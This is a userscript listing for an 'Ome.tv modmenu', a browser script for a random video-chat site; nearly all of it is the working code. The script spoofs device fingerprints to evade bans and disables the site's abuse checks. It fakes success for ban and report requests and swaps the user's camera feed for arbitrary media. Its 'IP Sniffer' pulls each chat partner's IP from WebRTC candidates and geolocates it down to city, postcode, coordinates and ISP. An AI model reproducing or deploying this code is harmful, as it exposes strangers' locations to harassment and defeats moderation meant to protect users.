Ome.tv modmenu

Have fun

スクリプトをインストールするには、Tampermonkey, GreasemonkeyViolentmonkey のような拡張機能のインストールが必要です。

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

スクリプトをインストールするには、TampermonkeyViolentmonkey のような拡張機能のインストールが必要です。

スクリプトをインストールするには、TampermonkeyUserscripts のような拡張機能のインストールが必要です。

このスクリプトをインストールするには、Tampermonkeyなどの拡張機能をインストールする必要があります。

このスクリプトをインストールするには、ユーザースクリプト管理ツールの拡張機能をインストールする必要があります。

(ユーザースクリプト管理ツールは設定済みなのでインストール!)

このスタイルをインストールするには、Stylusなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus などの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus tなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

(ユーザースタイル管理ツールは設定済みなのでインストール!)

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください
// ==UserScript==
// @name        Ome.tv modmenu
// @namespace   http://tampermonkey.net/
// @version     1.0
// @description Have fun
// @author      iron web10
// @match       https://ome.tv/*
// @match       https://ometv.chat/*
// @grant       none
// @run-at      document-start
// @license     iron web10 2026
// ==/UserScript==

(function() {
    'use strict';

    
    const STORAGE_KEY = '_ome_mod_fp_v33';

   const ID = [
    // Windows - NVIDIA
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 4060 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 3060 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 4070 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440], [3840, 2160]]
    },

    // Windows - AMD
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (AMD)",
        wr: "ANGLE (AMD, AMD Radeon RX 6600 XT Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (AMD)",
        wr: "ANGLE (AMD, AMD Radeon RX 6700 XT Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },

    // Windows - Intel
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (Intel)",
        wr: "ANGLE (Intel, Intel(R) UHD Graphics 770 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [1536, 864]]
    },
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (Intel)",
        wr: "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [1536, 864], [2560, 1440]]
    },

    // Windows - RTX 4090 / gama alta
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 4090 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[2560, 1440], [3840, 2160]]
    },

    // Windows - RTX 3080
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 3080 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },

    // Windows - RTX 2070
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 2070 SUPER Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },

    // Windows - GTX 1660
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce GTX 1660 SUPER Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [1600, 900]]
    },

    // Windows - AMD integrada
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (AMD)",
        wr: "ANGLE (AMD, AMD Radeon Graphics Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [1366, 768]]
    },

    // Windows - Intel UHD
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (Intel)",
        wr: "ANGLE (Intel, Intel(R) UHD Graphics 630 Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [1366, 768]]
    },

    // Windows - Intel Arc
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (Intel)",
        wr: "ANGLE (Intel, Intel(R) Arc(TM) A770 Graphics Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[1920, 1080], [2560, 1440]]
    },

    // Windows - 4K
    {
        ua: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        p: "Win32",
        s: "Windows",
        wv: "Google Inc. (NVIDIA)",
        wr: "ANGLE (NVIDIA, NVIDIA GeForce RTX 4080 SUPER Direct3D11 vs_5_0 ps_5_0, D3D11)",
        sc: [[3840, 2160], [2560, 1440]]
    }
];

    function pick(a) { return a[Math.floor(Math.random() * a.length)]; }
    function ri(a, b) { return Math.floor(Math.random() * (b - a + 1)) + a; }

    function getOrGenerateFingerprint() {
        try {
            const saved = localStorage.getItem(STORAGE_KEY);
            if (saved) return JSON.parse(saved);
        } catch(e) {}

        const id = pick(ID);
        const sc = pick(id.sc);
        const m = (id.ua.match(/Chrome\/(\d+)/) || [, "140"])[1];
        const fp = {
            ua: id.ua, av: id.ua.replace("Mozilla/", ""), p: id.p, v: "Google Inc.",
            hc: pick([4, 6, 8, 12, 16]), dm: pick([4, 8, 16]), sc, cd: 24,
            wv: id.wv, wr: id.wr, cs: ri(1, 2147483647), as: ri(1, 2147483647),
            cu: `"Google Chrome";v="${m}", "Chromium";v="${m}", "Not_A Brand";v="24"`, sp: id.s, cm: m
        };

        try { localStorage.setItem(STORAGE_KEY, JSON.stringify(fp)); } catch(e) {}
        return fp;
    }

    const fp = getOrGenerateFingerprint();

    try {
        const bannedKeys = ['token', 'session', 'ban', 'device', 'peer', 'ome', 'rtc'];
        for (let i = localStorage.length - 1; i >= 0; i--) {
            const key = localStorage.key(i);
            if (key && bannedKeys.some(b => key.toLowerCase().includes(b))) {
                localStorage.removeItem(key);
            }
        }
        sessionStorage.clear();
    } catch(e) {}

    function applySpoof(fp) {
        const def = (o, p, v) => { try { Object.defineProperty(o, p, { get: () => v, configurable: true }); } catch (e) {} };
        def(navigator, "userAgent", fp.ua);
        def(navigator, "appVersion", fp.av);
        def(navigator, "platform", fp.p);
        def(navigator, "vendor", fp.v);
        def(navigator, "hardwareConcurrency", fp.hc);
        try { def(navigator, "deviceMemory", fp.dm); } catch (e) {}
        try { def(navigator, "webdriver", false); } catch (e) {}
        try { def(navigator, "languages", ["en-US", "en"]); } catch (e) {}

        def(screen, "width", fp.sc[0]); def(screen, "height", fp.sc[1]);
        def(screen, "availWidth", fp.sc[0]); def(screen, "availHeight", fp.sc[1] - 40);
        def(screen, "colorDepth", fp.cd); def(screen, "pixelDepth", fp.cd);

        let s = (fp.cs >>> 0) || 1;
        function r() { s = (s * 1664525 + 1013904223) >>> 0; return s / 4294967296; }

        function noise(c) {
            try {
                if (c.width <= 0 || c.height <= 0) return;
                const x = c.getContext("2d", { willReadFrequently: true });
                if (!x) return;
                const id = x.getImageData(0, 0, c.width, c.height);
                const d = id.data;
                for (let i = 0; i < d.length; i += 4) {
                    if (r() < 0.05) {
                        const ch = i + Math.floor(r() * 3);
                        d[ch] = (d[ch] + (r() < 0.5 ? 2 : 253)) % 256;
                    }
                }
                x.putImageData(id, 0, 0);
            } catch (e) {}
        }
        try {
            const oURL = HTMLCanvasElement.prototype.toDataURL;
            HTMLCanvasElement.prototype.toDataURL = function () { noise(this); return oURL.apply(this, arguments); };
            const oBlob = HTMLCanvasElement.prototype.toBlob;
            HTMLCanvasElement.prototype.toBlob = function () { noise(this); return oBlob.apply(this, arguments); };
        } catch (e) {}

        const sg = (o) => function (p) { try { if (p === 37445) return fp.wv; if (p === 37446) return fp.wr; } catch (e) {} return o.apply(this, arguments); };
        try { if (window.WebGLRenderingContext) WebGLRenderingContext.prototype.getParameter = sg(WebGLRenderingContext.prototype.getParameter); } catch (e) {}
        try { if (window.WebGL2RenderingContext) WebGL2RenderingContext.prototype.getParameter = sg(WebGL2RenderingContext.prototype.getParameter); } catch (e) {}
        window.__oc = true;
    }

    applySpoof(fp);


    let globalAudioCtx = null;
    let globalAudioDest = null;
    let videoAudioSourceNode = null;
    let isVideoAudioShared = false;

    function initGlobalAudio() {
        if (!globalAudioCtx) {
            const AudioContext = window.AudioContext || window.webkitAudioContext;
            globalAudioCtx = new AudioContext();
            globalAudioDest = globalAudioCtx.createMediaStreamDestination();
        }
        if (globalAudioCtx.state === 'suspended') {
            globalAudioCtx.resume();
        }
    }

    ['click', 'touchstart', 'keydown'].forEach(evt => {
        document.addEventListener(evt, () => {
            if (globalAudioCtx && globalAudioCtx.state === 'suspended') {
                globalAudioCtx.resume();
            }
        }, { once: true });
    });

    function getCorsProxy(url) {
        return `https://proxy.corsfix.com/?${url}`;
    }

    async function playSound(url) {
        initGlobalAudio();
        try {
            const response = await fetch(getCorsProxy(url));
            const arrayBuffer = await response.arrayBuffer();
            const audioBuffer = await globalAudioCtx.decodeAudioData(arrayBuffer);
            const sourceNode = globalAudioCtx.createBufferSource();
            sourceNode.buffer = audioBuffer;
            sourceNode.connect(globalAudioCtx.destination);
            if (globalAudioDest) {
                sourceNode.connect(globalAudioDest);
            }
            sourceNode.start(0);
        } catch (err) {
            const fallbackAudio = new Audio(url);
            fallbackAudio.play().catch(e => {});
        }
    }


    var alwaysValid = () => true;
    var neverSuspicious = () => false;

    function neutralize(fcn) {
        if (!fcn || (typeof fcn !== "function" && typeof fcn !== "object")) return fcn;
        if (fcn.__omeUnblocked) return fcn;
        try {
            Object.defineProperty(fcn, "isValid", { configurable: true, value: alwaysValid });
            Object.defineProperty(fcn, "isSuspicious", { configurable: true, value: neverSuspicious });
            Object.defineProperty(fcn, "__omeUnblocked", { value: true, configurable: true });
        } catch (e) {}
        return fcn;
    }

    let current = window.FCN;
    try { Object.defineProperty(window, "FCN", { configurable: true, get() { return current; }, set(v) { current = neutralize(v); } }); } catch (e) {}

    const origFetch = window.fetch;
    window.fetch = async function(...args) {
        let url = args[0]?.url || args[0];
        if (typeof url === 'string' && (url.includes('ban') || url.includes('block') || url.includes('report'))) {
            return new Response(JSON.stringify({ status: "ok" }), { status: 200 });
        }
        return origFetch.apply(this, args);
    };


    let isAFKModeActive = false;
    let afkModeType = 'text';
    let customTextValue = 'Hi';
    let afkMediaElement = null;
    let afkMediaType = null;
    let isItscEnabled = false;

    let realVideo = document.createElement('video');
    realVideo.autoplay = true; realVideo.muted = true;

    let virtualCanvas = document.createElement('canvas');
    virtualCanvas.width = 640; virtualCanvas.height = 480;
    let virtualCtx = virtualCanvas.getContext('2d');

    let micGainNode = null;

    let alpha = 1; let delta = -0.02;
    function renderVirtualCamera() {
        if (isAFKModeActive) {
            virtualCtx.fillStyle = '#0f0f19';
            virtualCtx.fillRect(0, 0, virtualCanvas.width, virtualCanvas.height);

            if (afkModeType === 'media' && afkMediaElement) {
                if (afkMediaType === 'video' && afkMediaElement.readyState >= 2) {
                    virtualCtx.drawImage(afkMediaElement, 0, 0, virtualCanvas.width, virtualCanvas.height);
                } else if (afkMediaType === 'image' && afkMediaElement.complete && afkMediaElement.naturalWidth !== 0) {
                    virtualCtx.drawImage(afkMediaElement, 0, 0, virtualCanvas.width, virtualCanvas.height);
                }
            } else {
                virtualCtx.strokeStyle = '#00eaff'; virtualCtx.lineWidth = 10;
                virtualCtx.strokeRect(20, 20, virtualCanvas.width - 40, virtualCanvas.height - 40);
                alpha += delta; if (alpha <= 0.3 || alpha >= 1) delta = -delta;
                virtualCtx.fillStyle = `rgba(255, 0, 85, ${alpha})`; virtualCtx.font = 'bold 35px Arial'; virtualCtx.textAlign = 'center';
                virtualCtx.fillText(customTextValue, virtualCanvas.width / 2, virtualCanvas.height / 2);
            }
        } else {
            if (realVideo.readyState >= 2) virtualCtx.drawImage(realVideo, 0, 0, virtualCanvas.width, virtualCanvas.height);
            else { virtualCtx.fillStyle = '#000'; virtualCtx.fillRect(0, 0, virtualCanvas.width, virtualCanvas.height); }
        }
        requestAnimationFrame(renderVirtualCamera);
    }
    renderVirtualCamera();

    if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
        const origGetUserMedia = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
        navigator.mediaDevices.getUserMedia = async function(constraints) {
            initGlobalAudio();
            const realStream = await origGetUserMedia(constraints);
            const fakeStream = new MediaStream();

            if (constraints.video) {
                const realVidTrack = realStream.getVideoTracks()[0];
                if (realVidTrack) {
                    realVideo.srcObject = new MediaStream([realVidTrack]);
                    realVideo.play().catch(e => {});
                    const settings = realVidTrack.getSettings();
                    if (settings.width) virtualCanvas.width = settings.width;
                    if (settings.height) virtualCanvas.height = settings.height;
                }
                fakeStream.addTrack(virtualCanvas.captureStream(30).getVideoTracks()[0]);
            }

            if (constraints.audio) {
                globalAudioDest = globalAudioCtx.createMediaStreamDestination();
                micGainNode = globalAudioCtx.createGain();

                const realAudTrack = realStream.getAudioTracks()[0];
                if (realAudTrack) {
                    const micSource = globalAudioCtx.createMediaStreamSource(new MediaStream([realAudTrack]));
                    micSource.connect(micGainNode);
                    micGainNode.connect(globalAudioDest);
                }
                fakeStream.addTrack(globalAudioDest.stream.getAudioTracks()[0]);
            }
            return fakeStream;
        };
    }

    function setupVideoAudioRouting(videoElement) {
        if (videoAudioSourceNode) {
            try { videoAudioSourceNode.disconnect(); } catch(e){}
            videoAudioSourceNode = null;
        }
        if (!videoElement || !globalAudioCtx) return;
        try {
            videoAudioSourceNode = globalAudioCtx.createMediaElementSource(videoElement);
            if (globalAudioDest) {
                videoAudioSourceNode.connect(globalAudioDest);
            }
            videoAudioSourceNode.connect(globalAudioCtx.destination);
        } catch(e) {}
    }

    function updateAFKMedia(url, forceVideo = false) {
        if (!url) { afkMediaElement = null; afkMediaType = null; return; }
        const isVideo = forceVideo || (url.match(/\.(mp4|webm|ogg)$/i) != null);
        const isLocalBlob = url.startsWith('blob:');

        const videoAudioControlContainer = document.getElementById('video-audio-control-container');

        if (isVideo) {
            afkMediaType = 'video';
            const vid = document.createElement('video');
            if (!isLocalBlob) vid.crossOrigin = "anonymous";
            vid.loop = true; vid.muted = true; vid.autoplay = true;

            vid.onloadeddata = () => {
                afkMediaElement = vid;
                vid.play().catch(e => {});
                setupVideoAudioRouting(vid);
                if (videoAudioControlContainer) videoAudioControlContainer.style.display = 'block';
            };
            vid.src = url;
        } else {
            afkMediaType = 'image';
            if (videoAudioControlContainer) videoAudioControlContainer.style.display = 'none';
            const tempImg = new Image();
            if (!isLocalBlob) tempImg.crossOrigin = "anonymous";
            tempImg.onload = () => { afkMediaElement = tempImg; };
            tempImg.src = url;
        }
    }


    function initModMenu() {
        const ipHistory = [];
        const panel = document.createElement('div');
        panel.id = 'mod-menu-container';
        panel.style.cssText = `
            position: fixed; top: 20px; right: 20px; width: 450px; background: #0a0a0a;
            color: #ffffff; border: 1px solid #00eaff; border-radius: 12px; padding: 20px;
            z-index: 999999; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            font-size: 14px; box-shadow: 0 12px 40px rgba(0, 0, 0, 0.7); user-select: none; overflow: hidden; min-height: 280px;
        `;

        const style = document.createElement('style');
        style.innerHTML = `
            .switch-container { display: flex; justify-content: space-between; background: #1e2230; padding: 10px; border-radius: 8px; margin-bottom: 8px; align-items: center; }
            .switch-label { font-size: 12px; color: #fff; font-weight: bold; }
            .switch { position: relative; width: 44px; height: 22px; display: inline-block; }
            .switch input { opacity: 0; width: 0; height: 0; }
            .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #444; transition: .3s; border-radius: 22px; }
            .slider:before { position: absolute; content: ""; height: 16px; width: 16px; left: 3px; bottom: 3px; background-color: white; transition: .3s; border-radius: 50%; }
            input:checked + .slider { background-color: #ff0055; }
            input:checked + .slider:before { transform: translateX(22px); }
            .config-box input { width: 100%; background: #111; border: 1px solid #00eaff; color: #fff; padding: 6px; margin-top: 4px; box-sizing: border-box; border-radius: 4px; }
            .sound-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 6px; margin-bottom: 12px; }
            .sound-btn { background: #251e3e; color: #00eaff; border: 1px solid #00eaff; padding: 8px; border-radius: 6px; cursor: pointer; font-size: 11px; font-weight: bold; }
            .sound-btn:hover { background: #00eaff; color: #111; }
            .action-btn { background: #00eaff; color: #111; border: none; padding: 6px 12px; border-radius: 4px; font-weight: bold; cursor: pointer; font-size: 11px; margin-top: 8px; display: block; width: 100%; text-align: center; }
            .reset-btn { width: 100%; background: #ff0055; color: #fff; border: none; padding: 8px; border-radius: 8px; font-weight: bold; cursor: pointer; margin-top: 10px; }
        `;
        document.head.appendChild(style);

        panel.innerHTML = `
            <div id="mod-menu-header" style="margin-bottom:14px;padding-bottom:10px;border-bottom:1px solid #222;display:flex;justify-content:space-between;align-items:center;cursor:move;">
                <strong style="font-size:16px;letter-spacing:0.5px;color:#00eaff;">Ome.tv Mod Menu | Made by iron web10</strong>
                <div style="display:flex;gap:8px;align-items:center;">
                    <span id="status" style="color:#888;font-size:12px;padding:4px 10px;background:#111;border-radius:9999px;">Waiting...</span>
                    <button id="minBtn" style="width:28px;height:28px;border:none;border-radius:6px;background:#1b1b1b;color:white;cursor:pointer;font-size:18px;">−</button>
                </div>
            </div>

            <div id="mod-menu-body" style="max-height: 520px; overflow-y: auto; padding-right: 4px;">
                <div class="switch-container">
                    <span class="switch-label">🔴 Spoof video & audio (Baneable)</span>
                    <label class="switch"><input type="checkbox" id="afk-cam-switch"><span class="slider"></span></label>
                </div>

                <div class="switch-container">
                    <span class="switch-label">⚙️ Enable IP Sniffer</span>
                    <label class="switch"><input type="checkbox" id="itsc-switch"><span class="slider"></span></label>
                </div>

                <div class="config-box" style="margin-bottom:10px; border:1px solid #333; padding:8px; border-radius:8px; background:#141722;">
                    <label style="font-size:11px;"><b>Custom spoof Text:</b></label>
                    <input type="text" id="custom-text-input" value="Hi">

                    <label style="font-size:11px; margin-top:8px; display:block;"><b>URL Image / Video (MP4):</b></label>
                    <input type="text" id="custom-media-input" placeholder="https://domain.com/video.mp4">

                    <label style="font-size:11px; margin-top:8px; display:block;"><b>OR Local File from PC:</b></label>
                    <input type="file" id="local-media-input" accept="image/*, video/*" style="border:1px dashed #00eaff; cursor:pointer;">

                    <div id="video-audio-control-container" style="display:none; margin-top:10px; border-top:1px dashed #444; padding-top:8px;">
                        <div class="switch-container" style="margin-bottom:0; background:#291e3e;">
                            <span class="switch-label" style="color:#00ff88;">🔊 Transmit Video Audio</span>
                            <label class="switch"><input type="checkbox" id="video-audio-switch"><span class="slider"></span></label>
                        </div>
                    </div>
                </div>

                <div style="color:#00ff88; font-size:11px; font-weight:bold; margin-bottom:5px;">SOUNDBOARD (LIVE MIXER)</div>
                <div class="sound-grid">
                    <button class="sound-btn" data-url="https://www.myinstants.com/media/sounds/calvoooooooooooooooooooooooooooo.mp3">Calvoooo</button>
                    <button class="sound-btn" data-url="https://www.myinstants.com/media/sounds/antonio-lobato_8zPnpk3.mp3">Antonio Lobato</button>
                    <button class="sound-btn" data-url="https://www.myinstants.com/media/sounds/fp-de-jardineria.mp3">FP de Jardinería</button>
                    <button class="sound-btn" data-url="https://www.myinstants.com/media/sounds/arriba.mp3">Viva españa</button>
                </div>

                <div style="color:#00eaff; font-size:11px; font-weight:bold; margin-bottom:5px;">FULL IP & CONNECTION DATA</div>
                <div id="current-person-box" style="background:#251e3e; padding:10px; border-radius:8px; margin-bottom:10px; line-height: 1.5; font-size: 11.5px;">
                    <i style="color:#aaa; font-size:11px;">Waiting for partner connection...</i>
                </div>

                <div style="border-top:1px dashed #444; padding-top:8px; margin-top:8px; text-align:center;">
                    <span style="font-size:10px; color:#aaa;">Anti IP Ban active.</span>
                    <button id="reset-identity-btn" class="reset-btn">Unban</button>
                </div>
            </div>
        `;
        document.body.appendChild(panel);

        let isDragging = false, offsetX, offsetY;
        const header = document.getElementById("mod-menu-header");
        header.addEventListener('mousedown', e => {
            if (e.target.tagName === "BUTTON") return;
            isDragging = true;
            offsetX = e.clientX - panel.offsetLeft;
            offsetY = e.clientY - panel.offsetTop;
        });
        document.addEventListener('mousemove', e => {
            if (!isDragging) return;
            panel.style.left = (e.clientX - offsetX) + "px";
            panel.style.top = (e.clientY - offsetY) + "px";
            panel.style.right = "auto";
        });
        document.addEventListener('mouseup', () => { isDragging = false; });

        const bodyEl = document.getElementById("mod-menu-body");
        const minBtn = document.getElementById("minBtn");
        let minimized = false;
        minBtn.onclick = () => {
            minimized = !minimized;
            bodyEl.style.display = minimized ? "none" : "block";
            panel.style.minHeight = minimized ? "0" : "280px";
            minBtn.textContent = minimized ? "+" : "−";
        };

        document.getElementById('afk-cam-switch').addEventListener('change', (e) => {
            isAFKModeActive = e.target.checked;
            if (micGainNode && !isVideoAudioShared) {
                micGainNode.gain.value = isAFKModeActive ? 0 : 1;
            }
        });

        document.getElementById('video-audio-switch').addEventListener('change', (e) => {
            isVideoAudioShared = e.target.checked;
            if (afkMediaType === 'video' && afkMediaElement) {
                afkMediaElement.muted = !isVideoAudioShared;
            }
            if (micGainNode) {
                micGainNode.gain.value = isVideoAudioShared ? 0 : (isAFKModeActive ? 0 : 1);
            }
        });

        document.getElementById('custom-text-input').addEventListener('input', (e) => {
            customTextValue = e.target.value; afkModeType = 'text';
            document.getElementById('local-media-input').value = "";
            document.getElementById('video-audio-control-container').style.display = 'none';
        });

        document.getElementById('custom-media-input').addEventListener('input', (e) => {
            const val = e.target.value.trim();
            document.getElementById('local-media-input').value = "";
            if (val.length > 0) { afkModeType = 'media'; updateAFKMedia(val); }
            else { afkModeType = 'text'; afkMediaElement = null; document.getElementById('video-audio-control-container').style.display = 'none'; }
        });

        document.getElementById('local-media-input').addEventListener('change', (e) => {
            const file = e.target.files[0];
            if (file) {
                document.getElementById('custom-media-input').value = "";
                afkModeType = 'media';
                updateAFKMedia(URL.createObjectURL(file), file.type.startsWith('video/'));
            } else {
                afkModeType = 'text'; afkMediaElement = null;
                document.getElementById('video-audio-control-container').style.display = 'none';
            }
        });

        document.querySelectorAll('.sound-btn').forEach(btn => {
            btn.addEventListener('click', () => playSound(btn.getAttribute('data-url')));
        });

        document.getElementById('itsc-switch').addEventListener('change', (e) => isItscEnabled = e.target.checked);

        document.getElementById('reset-identity-btn').addEventListener('click', () => {
            try {
                localStorage.clear(); sessionStorage.clear();
                document.cookie.split(";").forEach((c) => {
                    document.cookie = c.replace(/^ +/, "").replace(/=.*/, "=;expires=" + new Date().toUTCString() + ";path=/");
                });
            } catch(e){}
            location.reload();
        });

        const NativeRTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection;
        if (NativeRTCPeerConnection) {
            window.RTCPeerConnection = function(...args) {
                const pc = new NativeRTCPeerConnection(...args);
                const originalAddIceCandidate = pc.addIceCandidate;
                pc.addIceCandidate = function(iceCandidate, ...rest) {
                    if (isItscEnabled && iceCandidate?.candidate) {
                        try {
                            const fields = iceCandidate.candidate.split(" ");
                            const ip = fields[4];
                            const type = fields[7];
                            if (ip && type === "srflx" && /^\d+\.\d+\.\d+\.\d+$/.test(ip)) {
                                document.getElementById('status').innerHTML = `IP: ${ip}`;
                                document.getElementById('status').style.color = '#fff';
                                fetchNetworkData(ip);
                            }
                        } catch (err) {}
                    }
                    return originalAddIceCandidate.apply(this, [iceCandidate, ...rest]);
                };
                return pc;
            };
            window.RTCPeerConnection.prototype = NativeRTCPeerConnection.prototype;
        }

        async function fetchNetworkData(ip) {
            if (ipHistory.includes(ip)) return;
            ipHistory.push(ip);
            try {
                let res = await fetch(`https://ipwho.is/${ip}`);
                let data = await res.json();

               let infoHtml = `
    <b>IP:</b> <span style="color:#00eaff;">${data.ip}</span> (${data.type || 'IPv4'})<br>
    <b>Flag:</b> ${data.flag?.emoji || ''} <b>Country:</b> ${data.country || 'N/A'} (${data.country_code || ''})<br>
    <b>Continent:</b> ${data.continent || 'N/A'} (${data.continent_code || ''})<br>
    <b>Region:</b> ${data.region || 'N/A'} (${data.region_code || ''})<br>
    <b>City:</b> ${data.city || 'N/A'} (ZIP Code: ${data.postal || 'N/A'})<br>
    <b>Capital:</b> ${data.capital || 'N/A'} | <b>Calling Code:</b> +${data.calling_code || 'N/A'}<br>
    <b>Coordinates:</b> ${data.latitude || 0}, ${data.longitude || 0}<br>
    <b>Time Zone:</b> ${data.timezone?.id || 'N/A'} (${data.timezone?.abbr || ''}, UTC ${data.timezone?.utc || ''})<br>
    <b>ISP:</b> ${data.connection?.isp || 'N/A'}<br>
    <b>Organization:</b> ${data.connection?.org || 'N/A'}<br>
    <b>ASN:</b> ${data.connection?.asn || 'N/A'} | <b>Domain:</b> ${data.connection?.domain || 'N/A'}<br>
    <b>Is EU?:</b> ${data.is_eu ? 'Yes' : 'No'}
`;

                document.getElementById('current-person-box').innerHTML = `
                    <div style="line-height:1.5;">
                        ${infoHtml}
                        <button id="copy-ip-btn" class="action-btn">Copy data</button>
                    </div>
                `;

                document.getElementById('copy-ip-btn').onclick = () => {
                    navigator.clipboard.writeText(JSON.stringify(data, null, 2));
                   const btn = document.getElementById('copy-ip-btn');
                    btn.textContent = "✅ Data copied to clipboard!";
                    setTimeout(() => { btn.textContent = "📋 Copy All Data (JSON/Text)"; }, 2000);
                };

            } catch(e) {
                document.getElementById('current-person-box').innerHTML = `
                    <b>IP:</b> <span style="color:#00eaff;">${ip}</span><br>
                   <button id="copy-raw-ip" class="action-btn">📋 Copy IP</button>
                `;
                document.getElementById('copy-raw-ip').onclick = () => {
                    navigator.clipboard.writeText(ip);
                    alert("IP copiada: " + ip);
                };
            }
        }
    }

    if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', initModMenu);
    else initModMenu();
})();